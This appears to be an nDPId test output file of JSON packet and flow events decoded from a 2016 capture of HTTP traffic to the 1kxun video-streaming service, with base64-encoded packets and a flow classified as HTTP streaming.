+00886{"flow_id":37,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":409,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":956802,"pkt_caplen":411,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":411,"pkt_l4_len":377,"pkt":"TF4M6gNlABxCjnAxCABFAAGNUgtAAIAG5YfAqHMIarkjbsHGAFDBDvahiK55D1AYAQRT7wAAR0VUIC9hcGkvbW92aWVzL21wNHNjcmlwdC8xMDQxMD9kZWZpbml0aW9uPXRydWUgSFRUUC8xLjENCkNsaWVudC1WZXJzaW9uOiAxLjIuMS4wDQpDbGllbnQtVWlkOiBGMzU2QzI1NzVBNTgyMDdGQjg5OEY1MjU2RjM0RjFDOA0KQ2xpZW50LVNvdXJjZTogMWt4dW4NCkNsaWVudC1PczogTWljcm9zb2Z0IFdpbmRvd3MgTlQgNi4xLjc2MDEgU2VydmljZSBQYWNrIDENCkNsaWVudC1MYW5ndWFnZTogemgtVFcNCkNsaWVudC1SZXNvbHV0aW9uOiAxMTE2LDgzOA0KQ2xpZW50LUJyYW5kOiBXSU5ET1dTDQpDbGllbnQtRGV2aWNlOiBQQw0KSG9zdDoganAua2Fua2FuLjFreHVuLm1vYmkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00685{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":409,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":6,"flow_first_seen":1470104379916,"flow_last_seen":1470104379956,"flow_tot_l4_data_len":513,"flow_min_l4_data_len":20,"flow_max_l4_data_len":377,"flow_avg_l4_data_len":85,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"106.185.35.110","src_port":49606,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"jp.kankan.1kxun.mobi","url":"jp.kankan.1kxun.mobi\/api\/movies\/mp4script\/10410?definition=true","code":0,"content_type":"","user_agent":""}} +00886{"flow_id":37,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":410,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":956860,"pkt_caplen":411,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":411,"pkt_l4_len":377,"pkt":"TF4M6gNlABxCjnAxCABFAAGNUgtAAIAG5YfAqHMIarkjbsHGAFDBDvahiK55D1AYAQRT7wAAR0VUIC9hcGkvbW92aWVzL21wNHNjcmlwdC8xMDQxMD9kZWZpbml0aW9uPXRydWUgSFRUUC8xLjENCkNsaWVudC1WZXJzaW9uOiAxLjIuMS4wDQpDbGllbnQtVWlkOiBGMzU2QzI1NzVBNTgyMDdGQjg5OEY1MjU2RjM0RjFDOA0KQ2xpZW50LVNvdXJjZTogMWt4dW4NCkNsaWVudC1PczogTWljcm9zb2Z0IFdpbmRvd3MgTlQgNi4xLjc2MDEgU2VydmljZSBQYWNrIDENCkNsaWVudC1MYW5ndWFnZTogemgtVFcNCkNsaWVudC1SZXNvbHV0aW9uOiAxMTE2LDgzOA0KQ2xpZW50LUJyYW5kOiBXSU5ET1dTDQpDbGllbnQtRGV2aWNlOiBQQw0KSG9zdDoganAua2Fua2FuLjFreHVuLm1vYmkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00415{"flow_id":36,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":411,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":983915,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxTF4M6gNlCABFAAAoIBhAADYGYuBquSNuwKhzCABQwcUqRAQp3o9G7FAQAO3XEAAAAAAAAAAA"} +02103{"flow_id":36,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":412,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":989294,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUIBlAADYGXfNquSNuwKhzCABQwcUqRAQp3o9G7FAQAO3OygAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG9wZW5yZXN0eS8xLjkuNy4xDQpEYXRlOiBUdWUsIDAyIEF1ZyAyMDE2IDAyOjIwOjA3IEdNVA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uO2NoYXJzZXQ9dXRmLTgNClRyYW5zZmVyLUVuY29kaW5nOiBjaHVua2VkDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpYLVBvd2VyZWQtQnk6IEV4cHJlc3MNCg0KNmYxDQp7ImlkIjoxMDQxMCwidHlwZSI6Im1vdmllIiwiY3JlYXRlZF9hdCI6IjIwMTMtMDYtMTUgMTQ6MTY6MjUiLCJlcGlzb2Rlc19jb3VudCI6MCwiZXBpc29kZXMiOltdLCJwdWJkYXRlIjoiMjAxMy0xMC0xMCIsInllYXIiOiIyMDEzIiwicGxheV9jb3VudCI6MTY4MDk0MSwiYXZnX3Njb3JlIjo0LjU3NDksImR1cmF0aW9uIjoxMTUsImxhbmd1YWdlIjoi6Iux6K+tIiwiYXJlYSI6Iue+juWbvS\/ms5Xlm70v5qyn576OIiwiaW1hZ2UiOiJodHRwOi8vcGljLjFreHVuLmNvbS92aWRlb19rYW5rYW4vaW1hZ2VzL3ZpZGVvcy8xMDQxMC1qdG1kLmpwZyIsInRpdGxlIjoi5Ye656We5YWl5YyWIiwiZGVzY3JpcHRpb24iOiLjgIDjgIDmnKzniYforrLov7DnmoTmmK9GQknkuI7kuIDkuKrkuJbnlYzkuIrmnIDlh7roibLnmoTprZTmnK\/luIjlm6LpmJ\/mlpfmmbrmlpfli4fnmoTmlYXkuovvvIzov5nmlK\/prZTmnK\/luIjlm6LpmJ\/lnKjooajmvJTnmoTlkIzml7bmiqLliqvpk7booYzlubbmiorpkrHliIbnu5nop4LkvJfvvIzkvb\/ku5bku6znq5nlnKjkuobms5XlvovlkozpgZPlvrfnmoTngbDoibLlnLDluKbjgIIiLCJkb3ViYW5fY29tbWVudF91cmwiOiJodHRwOi8va2Fua2FuLjFreHVuLmNvbS92aWRlb19rYW5rYW4vYXBpL3ZpZGVvcy9kb3ViYW5DbGljay8xMDQxMCIsImFjdG9ycyI6W3siaWQiOjE4MTA0LCJuYW1lIjoi6L+I5YWL5bCUwrflh6\/liKkifSx7ImlkIjoyMTg4MSwibmFtZSI6IuiJvuaLicK36I+y6IiN5bCUIn0seyJpZCI6MjA2MzEsIm5hbWUiOiLmooXmi4nlsLzCt+e9l+WFsCJ9LHsiaWQiOjI1Mjk3LCJuYW1lIjoi5oi05aSrwrflvJflhbDnp5EifSx7ImlkIjoxNTczLCJuYW1lIjoi6L+I5YWL5bCUwrflh6\/mgakifSx7ImlkIjo4NjUwLCJuYW1lIjoi6ams5YWLwrfpsoHlvJfmtJsifSx7ImlkIjoxMjUsIm5hbWUiOiLkvI3ov6rCt+WTiOmHjOajriJ9LHsiaWQiOjg0MzEsIm5hbWUiOiLmnbDopb\/Ct+iJvuajruS8r+agvCJ9LHsiaWQiOjg0LCJuYW1lIjoi5pGp5qC5wrflvJfph4zmm7wifV0sImRpcmVjdG9ycyI6W3siaWQiOjExNjg1"} +01384{"flow_id":36,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":413,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":989451,"pkt_caplen":782,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":782,"pkt_l4_len":748,"pkt":"ABxCjnAxTF4M6gNlCABFAAMAIBpAADYGYAZquSNuwKhzCABQwcUqRAkV3o9G7FAYAO33sQAALCJuYW1lIjoi6Lev5piT5pavwrfojrHnibnph4zlsJQifV0sInRhZ3MiOlt7ImlkIjo2LCJuYW1lIjoi54qv572qIn0seyJpZCI6NywibmFtZSI6IuaDiuaCmiJ9XSwibG9zdF9lcGlzb2RlcyI6W10sInBsYXlfYWRkcmVzc2VzIjpbeyJ0eXBlIjoicXFsaXZlIiwibmFtZSI6IuiFvuiur+inhumikemrmOa4hSIsInVybCI6Imh0dHA6Ly9rYW5rYW4uMWt4dW4uY29tL3ZpZGVvX2thbmthbi9sb2dvcy9xcWxpdmUucG5nIn0seyJ0eXBlIjoibGV0diIsIm5hbWUiOiLkuZDop4bmma7muIUiLCJ1cmwiOiJodHRwOi8va2Fua2FuLjFreHVuLmNvbS92aWRlb19rYW5rYW4vbG9nb3MvbGV0di5wbmcifSx7InR5cGUiOiJ0dWRvdSIsIm5hbWUiOiLlnJ\/osYbpq5jmuIUiLCJ1cmwiOiJodHRwOi8va2Fua2FuLjFreHVuLmNvbS92aWRlb19rYW5rYW4vbG9nb3MvdHVkb3UucG5nIn0seyJ0eXBlIjoieW91a3UiLCJuYW1lIjoi5LyY6YW36auY5riFIiwidXJsIjoiaHR0cDovL2thbmthbi4xa3h1bi5jb20vdmlkZW9fa2Fua2FuL2xvZ29zL3lvdWt1LnBuZyJ9LHsidHlwZSI6ImJlc3R2IiwibmFtZSI6IueZvuS6i+mAmiIsInVybCI6Imh0dHA6Ly9rYW5rYW4uMWt4dW4uY29tL3ZpZGVvX2thbmthbi9sb2dvcy9iZXN0di5wbmcifSx7InR5cGUiOiJpbWdvIiwibmFtZSI6ImltZ28iLCJ1cmwiOiJodHRwOi8va2Fua2FuLjFreHVuLmNvbS92aWRlb19rYW5rYW4vbG9nb3MvaW1nby5wbmcifV19DQo="} +00416{"flow_id":36,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":414,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":989529,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":25,"pkt":"ABxCjnAxTF4M6gNlCABFAAAtIBtAADYGYthquSNuwKhzCABQwcUqRAvt3o9G7FAYAO2LJQAAMA0KDQoA"} +00408{"flow_id":36,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":415,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":989674,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUgxAAIAG5uvAqHMIarkjbsHFAFDej0bsKkQL8lAQAQTPMAAA"} +00408{"flow_id":36,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":416,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":989707,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUgxAAIAG5uvAqHMIarkjbsHFAFDej0bsKkQL8lAQAQTPMAAA"} +00415{"flow_id":37,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":417,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104379,"pkt_ts_usec":993622,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxTF4M6gNlCABFAAAoXTpAADYGJb5quSNuwKhzCABQwcaIrnkPwQ74BlAQAO1wJQAAAAAAAAAA"} +02095{"flow_id":37,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":418,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":103373,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUXTtAADYGINFquSNuwKhzCABQwcaIrnkPwQ74BlAQAO0sVAAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG9wZW5yZXN0eS8xLjkuNy4xDQpEYXRlOiBUdWUsIDAyIEF1ZyAyMDE2IDAyOjIwOjA3IEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L3htbDsgY2hhcnNldD11dGYtOA0KQ29udGVudC1MZW5ndGg6IDMyMTIyDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQoNCjxyb290PjxtcDQgdHlwZT0ncXFsaXZlJyBuYW1lPSfohb7orq\/op4bpopEnIGxvZ289J2h0dHA6Ly9rYW5rYW4uMWt4dW4uY29tL3ZpZGVvX2thbmthbi9sb2dvcy9xcWxpdmUucG5nJyB3ZWJfYWRkcmVzcz0naHR0cDovL3YucXEuY29tL2NvdmVyLzYvNnQ1NjlvcGt3dHhwNnowLmh0bWw\/dmlkPXkwMDEzeGFlZXlvJyBkb3dubG9hZGFibGU9JzEnIHNpdGU9J3YucXEuY29tJyBwdD0nMScgd3N0PScxMDAwJz48c2NyaXB0PjwhW0NEQVRBW0NvLVFXZl8tIFI8d288ZFc2X3xXZl8tZEcgV2ZNPF9vVysKICAnX1FLJyBQXzJ9RyBSPGR8Xy1kPCAuICxLYnpKV1d8elI8d288ZFc2X3xXZl8tZCsKICBmQyBQXzJ9IEstMiBQXzJ9fi4zMyBXSjwtCiAgICAnX1FLJyBmRyB4IC4gZFdSZi12ekNmLTI2UF8yfUcgM2Z8IGZkIC1fVyBLb1dKX1JmRjwyMysKICAgIGZDIGYgV0o8LSBQXzJ9IC4gLWYnIDwtMgogIDwtMgogIGZDIFBfMn0gSy0yIFBfMn1+LjMzIFdKPC0KICAgICdfUUsnIGZHIHggLiBkV1JmLXZ6Q2YtMjZQXzJ9RyAzUSdmPC1XIFU8UmRmXy0gS1FRPGRkIGZkIC1fVyBLb1dKMysKICAgIGZDIGYgV0o8LSBQXzJ9IC4gLWYnIDwtMgogIDwtMgogIGZDIFBfMn0gSy0yIFBfMn1+LjMzIFdKPC0KICAgICdfUUsnIGZHIHggLiBkV1JmLXZ6Q2YtMjZQXzJ9RyAzc0UgJ2ZNZlczKwogICAgZkMgZiBXSjwtIFBfMn0gLiAtZicgPC0yCiAgPC0yCiAgZkMgUF8yfSBXSjwtIFI8V29SLSBQXzJ9RyBSPGR8Xy1kPCA8LTIKICAnX1FLJyBvUicgLiBffFdmXy1kWzpdCiAgJ19RSycgb1InbTwtUV8yPDIgLiBvUicKICBvUidtPC1RXzI8MiAuIGRXUmYtdnp2ZG9QNm9SJ208LVFfMjwyRyAzJSUzRyAzJSU9TjMrCiAgb1InbTwtUV8yPDIgLiBkV1JmLXZ6dmRvUDZvUidtPC1RXzI8MkcgM2kzRyAzJSVYQjMrCiAgb1InbTwtUV8yPDIgLiBkV1JmLXZ6dmRvUDZvUidtPC1RXzI8MkcgMyVuM0cgMyUlPTgzKwogIG9SJ208LVFfMjwyIC4gZFdSZi12enZkb1A2b1InbTwtUV8yPDJHIDMlcjNHIDMlJVg4MysKICBvUidtPC1RXzI8MiAuIGRXUmYtdnp2ZG9QNm9SJ208LVFfMjwyRyAzLjNHIDMlJVh7MysKICBvUidtPC1RXzI8MiAuIGRXUmYtdnp2"} +02094{"flow_id":37,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":419,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":103526,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUXTxAADYGINBquSNuwKhzCABQwcaIrn37wQ74BlAQAO2EiwAAZG9QNm9SJ208LVFfMjwyRyAzJjNHIDMlJT1nMysKICAnX1FLJyB8Ul9ifW1vUicgLiAzSldXfGlubkg9ejo9RHpOOno6Tj1pcERwRG5LfGZufFJfYn1yb1InLjMgenogb1InbTwtUV8yPDIKICBmQyBXZk08X29XIFdKPC0gfFJfYn1tb1InIC4gfFJfYn1tb1InIHp6IDMmV2ZNPF9vVy4zIHp6IFdmTTxfb1cgPC0yCiAgX3xXZl8tZFs6XSAuIHxSX2J9bW9SJwogIFI8V29SLSAsS2J6SldXfHpSPHdvPGRXNl98V2ZfLWQrCjwtMgoKCm9SJ2QgLiBPKAoyb1JLV2ZfLWQgLiBPKAo8UlJfUms8ZGRLdjwgLiAtZicKCkNvLVFXZl8tIHY8V3tvUktXZl8tZDhSX003Zi1DXzZQXzJ9KwogICdfUUsnIGYtMjxiIC4gRAogICdfUUsnIGZHIHggLiBQXzJ9aUNmLTI2M3lRJ3R6KnluUSd0MysKICBmQyBmIFdKPC0KICAgICdfUUsnIFEnbWRXUmYtdiAuIFBfMn1pZG9QNmZHIHgrCiAgICAnX1FLJyBkV0tSVyAuIE4KICAgICxKZic8IFdSbzwgMl8KICAgICAgJ19RSycgZkcgeCAuIFEnbWRXUmYtdmlDZi0yNjN5blFmdDNHIGRXS1JXKwogICAgICBmQyAtX1cgZiBXSjwtIFBSPEtaIDwtMgogICAgICAnX1FLJyBRZm1kV1JmLXYgLiBRJ21kV1JmLXZpZG9QNmRXS1JXRyB4KwogICAgICBkV0tSVyAuIHhUOgogICAgICAnX1FLJyBmRyB4IC4gUWZtZFdSZi12aUNmLTI2M3lRMnRbXnldVHkzKwogICAgICAyb1JLV2ZfLWRbZi0yPGJdIC4gV18tb01QPFI2UWZtZFdSZi12aWRvUDZmVEhHIHg5OisrCiAgICAgIGYtMjxiIC4gZi0yPGJUOgogICAgPC0yCiAgPC0yCiAgUjxXb1ItIDJvUktXZl8tZAo8LTIKCkNvLVFXZl8tIHY8VzFLZDx1Uic4Ul9NN2YtQ182UF8yfSsKICAnX1FLJyBQS2Q8bW9SJyAuIC1vJycKICAnX1FLJyBmRyB4IC4gUF8yfWlDZi0yNjN5byd0eip5bm8ndDMrCiAgZkMgZiBXSjwtCiAgICAnX1FLJyBvJ21kV1JmLXYgLiBQXzJ9aWRvUDZmRyB4KwogICAgJ19RSycgZFdLUlcgLiBOCiAgICAsSmYnPCBXUm88IDJfCiAgICAgICdfUUsnIGZHIHggLiBvJ21kV1JmLXZpQ2YtMjYzeW5vZnQzRyBkV0tSV0cgeCsKICAgICAgZkMgLV9XIGYgV0o8LSBQUjxLWiA8LTIKICAgICAgJ19RSycgb2ZtZFdSZi12IC4gbydtZFdSZi12aWRvUDZkV0tSV0cgeCsKICAgICAgZFdLUlcgLiB4VDoKICAgICAgJ19RSycgZkcgeCAuIG9mbWRXUmYtdmlDZi0yNjN5b1IndFteeV1UeTMrCiAgICAgIG9mbW9SJyAuIG9mbWRXUmYtdmlkb1A2ZlRORyB4OTorCiAgICAgICdfUUsnIGZHIHggLiBvZm1vUidpQ2YtMjYzSldXfGlublslekQ5KV1UbjMrCiAg"} +00408{"flow_id":37,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":420,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":103698,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUg1AAIAG5urAqHMIarkjbsHGAFDBDvgGiK6C51AQAQRmNgAA"} +00408{"flow_id":37,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":421,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":103743,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUg1AAIAG5urAqHMIarkjbsHGAFDBDvgGiK6C51AQAQRmNgAA"} +02094{"flow_id":37,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":422,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":103855,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUXT1AADYGIM9quSNuwKhzCABQwcaIroLnwQ74BlAQAO2nogAAICAgIGZDIGYgV0o8LSA5OSAKICAgICAgICBQS2Q8bW9SJyAuIG9mbW9SJwogICAgICAgIFBSPEtaCiAgICAgIDwtMgogICAgPC0yCiAgICBmQyAtX1cgUEtkPG1vUicgV0o8LQogICAgICAnX1FLJyBmRyB4IC4gbydtZFdSZi12aUNmLTI2M3lvUid0W155XVR5MysKICAgICAgZkMgZiBXSjwtCiAgICAgICAgUEtkPG1vUicgLiBvJ21kV1JmLXZpZG9QNmZUTkcgeDk6KwogICAgICA8LTIKICAgIDwtMgogIDwtMgogIFI8V29SLSBQS2Q8bW9SJwo8LTIKCkNvLVFXZl8tIHY8VzFLZDxrfEg4Zic8LUtNPDZQXzJ9KwogICdfUUsnIGZHIHggLiBQXzJ9aUNmLTI2M3lDLXRbXnldVCV6TXxIeTMrCiAgZkMgZiBXSjwtCiAgICBSPFdvUi0gUF8yfWlkb1A2ZlRIRyB4OU4rCiAgPC0yCiAgUjxXb1ItIFBLZDxtQ2YnPC1LTTwKPC0yCgpDby1RV2ZfLSB2PFdZLVo2UF8yfSsKICAnX1FLJyBmRyB4IC4gUF8yfWlDZi0yNjN5Jy1adFteeV1UMysKICBmQyBmIFdKPC0KICAgIFI8V29SLSBQXzJ9aWRvUDZmVE5HIHgrCiAgPC0yCjwtMgoKQ28tUVdmXy0gdjxXMUtkPDA8fThSX003Zi1DXzZQXzJ9KwogICdfUUsnIGZHIHggLiBQXzJ9aUNmLTI2M3lDVVo8fXR6KnluQ1VaPH10MysKICBmQyBmIFdKPC0KICAgIFI8V29SLSAgUF8yfWlkb1A2ZlRBRyB4OXArCiAgPC0yCiAgUjxXb1ItIENVWjx9bWRXUmYtdgo8LTIKCgpDby1RV2ZfLSB2PFc4X1JNS1c2UF8yfSsKICAnX1FLJyBDX1JNS1cKICAnX1FLJyBmRyB4IC4gUF8yfWlDZi0yNjN5Qyd0eip5bkMndDMrCiAgZkMgZiBXSjwtCiAgICAnX1FLJyBDJ21kV1JmLXYgLiBQXzJ9aWRvUDZmRyB4KwogICAgJ19RSycgZFdLUlcgLiBOCiAgICAsSmYnPCBXUm88IDJfCiAgICAgICdfUUsnIGZHIHggLiBDJ21kV1JmLXZpQ2YtMjYzeW5DZnQzRyBkV0tSVysKICAgICAgZkMgLV9XIGYgV0o8LSBQUjxLWiA8LTIKICAgICAgJ19RSycgQ2ZtZFdSZi12IC4gQydtZFdSZi12aWRvUDZkV0tSV0cgeCsKICAgICAgZFdLUlcgLiB4VDoKICAgICAgJ19RSycgZkcgeCAuIENmbWRXUmYtdmlDZi0yNjN5ZjJ0W155XVR5MysKICAgICAgQ19STUtXIC4gQ2ZtZFdSZi12aWRvUDZmVEhHIHg5OisKICAgICAgJ19RSycgZkcgeCAuIENmbWRXUmYtdmlDZi0yNjN5ZCd0OnluZCd0MysKICAgICAgZkMgZiBXSjwtIFBSPEtaIDwtMgogICAgPC0yCiAgPC0yCiAgUjxXb1ItIENfUk1LVwo8LTIKCgoKPC1RUn18Vzc8UiAuIC1mJwpLfHxVPFIgLiAtZicKUVo8fSAuIC1mJwpQS2Q8bW9SJyAuIC1mJwpQS2Q8bUNmJzwtS008"} +02095{"flow_id":37,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":423,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":103921,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUXT5AADYGIM5quSNuwKhzCABQwcaIrofTwQ74BlAQAO3MkwAAIC4gLWYnCkNVWjx9bWRXUmYtdi4tZicKQ19STUtXIC4gLWYnCnwnS1dDX1JNIC4gMzpEKUQ9MwonLVogLiAtZicKVWYyIC4gM31ERDpYYks8PH1fMwp2b2YyIC4gMzhOZTFEOlNTRDpCcGVEcFN7cFhnWERwPXB7ZTpBUz0xRD06Zz04e3AzCjk5dm9mMiAuIDNTPXBwQWU6Qlh7QSlIezFIZTpIQnA6ZTExQTg6Z3tBQkhncCllOmV7MwoKQ28tUVdmXy0gdjxXU1o8fTZVZjIrCiAgJ19RSycgUF8yfUcgUjxkfF8tZDwKICA5OSAnX1FLJyBvUicgLiAiSldXfGlubj09PXpBWHo9Tkh6KUFpKUQpKW5LfGZud3cnZlU8bVFaPH1udjxXclVmMi4iIHp6IFVmMiB6eiAiJnwnS1dDX1JNLiIgenogfCdLV0NfUk1WCiAgOTkgJ19RSycgUF8yfUcgUjxkfF8tZDwgLiAsS2J6SldXfHpSPHdvPGRXT29SJ0cgV2ZNPF9vVy5YKAogIGZDIC1fVyBQXzJ9IF9SIFBfMn0gLi4gMzMgV0o8LQogICAgb1InIC4gIkpXV3xpbm49OnB6PUhIejpYTno6QURpKUQpKW5LfGZud3cnZlU8bVFaPH1udjxXclVmMi4iIHp6IFVmMiB6eiAiJnwnS1dDX1JNLiIgenogfCdLV0NfUk1WCiAgICBQXzJ9RyBSPGR8Xy1kPCAuICxLYnpKV1d8elI8d288ZFdPb1InRyBXZk08X29XLk4oCiAgPC0yCiAgZkMgUF8yfSBXSjwtCiAgICAnX1FLJyBkPHZNPC1XZCAuIE8oCiAgICBDX1IgZlc8TSBmLSBQXzJ9aXZNS1dRSjYiW15qXVQiKyAyXwogICAgICBXS1AnPHpmLWQ8Ulc2ZDx2TTwtV2RHIGZXPE0rCiAgICA8LTIKICAgIGZDICNkPHZNPC1XZHQ9IFdKPC0KICAgICAgS3x8VTxSIC4gZDx2TTwtV2RbOl0KICAgICAgPC1RUn18Vzc8UiAuIGQ8dk08LVdkWz1dCiAgICAgIFFaPH0gLiBkPHZNPC1XZFtYXQogICAgPC0yCiAgPC0yCiAgZkMgLV9XIFFaPH0gV0o8LQogICAgPFJSX1JrPGRkS3Y8IC4gIkNLZic8MiBXXyB2PFcgUVo8fSIKICA8LTIKPC0yCgoKOTkKQ28tUVdmXy0gdjxXQjIyUjxkZDhSX00vPCw\/PHZNPC1XZDYyPENLbydXQ01XKwogIGZDIC1fVyA8LVFSfXxXNzxSIF9SIC1fVyBLfHxVPFIgX1IgLV9XIFFaPH0gV0o8LQogICAgUjxXb1ItCiAgPC0yCiAgJ19RSycgb1InIC4gIkpXV3xpbm5VVXpVZjI8X3p3d3pRX01udjxXVWYtQ18iCiAgJ19RSycgfF9kV3tLV0sgLiBPKAogIHxfZFd7S1dLWzM8LVFSfXxXNzxSM10gLiA8LVFSfXxXNzxSCiAgfF9kV3tLV0tbM19XfXw8M10gLiAzYk0nMwogIHxfZFd7S1dLWzNLfHxVPFIzXSAuIEt8fFU8UgogIHxfZFd7S1dLWzN8J0tXQ19STTNdIC4gfCdLV0NfUk0KICB8X2RXe0tXS1szVWYyM10gLiBVZjIKICB8X2RXe0tX"} +02095{"flow_id":37,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":424,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":104034,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUXT9AADYGIM1quSNuwKhzCABQwcaIroy\/wQ74BlAQAO3BMwAAS1szMjxDS28nV0NNVzNdIC4gMjxDS28nV0NNVwogIHxfZFd7S1dLWzMyPEMtM10gLiAyPENLbydXQ01XCiAgfF9kV3tLV0tbM1EwPH0zXSAuIFFaPH0KICB8X2RXe0tXS1szdm9mMjNdIC4gdm9mMgogICdfUUsnIHxfZFcxXzJ9IC4gIjwtUVJ9fFc3PFIuInp6PC1RUn18Vzc8Unp6IiZfV318PC5iTScmS3x8VTxSLiJ6ekt8fFU8Unp6CiAgICAgICAgICAiJnwnS1dDX1JNLiJ6enwnS1dDX1JNenoiJi08LHwnS1dDX1JNLiJ6enwnS1dDX1JNenoiJlVmMi4ienpVZjJ6eiImVWYyZC4ienpVZjJ6egogICAgICAgICAgIiYyPENLbydXQ01XLiJ6ejI8Q0tvJ1dDTVd6eiImMjxDLS4ienoyPENLbydXQ01XenoKICAgICAgICAgICImUT